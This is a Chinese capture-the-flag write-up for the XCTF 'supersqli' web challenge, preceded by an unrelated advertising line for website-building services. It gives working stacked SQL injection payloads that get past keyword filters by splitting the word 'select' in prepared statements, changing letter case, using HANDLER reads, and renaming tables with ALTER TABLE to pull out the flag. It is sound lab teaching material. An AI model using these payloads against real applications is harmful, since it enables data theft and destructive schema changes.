网站二级导航制作河南网站建设公司|河南网站建设价格费用
XCTF_Web_高手进阶区
- supersqli
 
supersqli
这里使用谷歌浏览器
 拿到题目后,发现是单引号报错字符型注入
 
 用order by语句判断出两个字段:order by 2的时候页面正常回显,order by 3的时候页面出错。
 使用union select联合查询,发现关键字select被正则过滤了
 
 因此,需要绕过select的过滤
 解法一:
 (1)堆叠注入/?inject=-1’;show tables --+
 
 (2)发现了两张表,分别查询两张表中的字段,
 /?inject=-1’;show columns from 1919810931114514 --+
 
 /?inject=-1’;show columns from words --+
 
 (3)发现了flag在第一个表中,接下来就是要查看flag的内容了。但是select被过滤了,这里可以采用预编译的方式绕过。
?inject=-1';set @sql = CONCAT('sele','ct * from \`1919810931114514\`;');prepare aaa from @sql;EXECUTE aaa;#
 

 (4)这里用strstr函数过滤了’set’和’prepare’关键词,利用strstr不能区分大小写,将其改为大写即可
/?inject=-1';sEt @sql = CONCAT('sele','ct * from \`1919810931114514\`;');prepArE aaa from @sql;EXECUTE aaa;#
 
或者
/?inject=-1';sEt @sql = CONCAT('se','lect * from \`1919810931114514\`;');prEpare stmt from @sql;EXECUTE stmt;#
 
或者
/?inject=-1';use supersqli;set @sql=concat('s','elect * from \`1919810931114514\`');PREPARE pre FROM @sql;EXECUTE pre;--+
 

 解法二:
 handler查询
 在查找到有两张表的前提下进行
 (1)使用方法:
 handler table_name open打开一张表
 handel table_name read first读取第一行内容,
 handel table_name read next依次获取其它行
/?inject=-1';handler `1919810931114514` open;handler `1919810931114514` read first;#
 

 解法三:
 (1)修改表名和列名,在查找到两个表后,看一下第二个表
 
 (2)其中有一个列就是data列,是可以进行查询的。所以这里将表1919810931114514名字改为words,flag列名字改为id,就可以查询flag的内容了。
1'; alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
 
其中:
 alter table words rename to aaaa;先把原来的words表名字改成别的,这个随便
 alter table`1919810931114514` rename to words;将表1919810931114514的名字改为words
 alter table words change flag id varchar(100);将改完名字后的表中的flag改为id,字符串尽量长点
 (3)然后用1’ or 1=1 --+直接就能得到正确结果
 
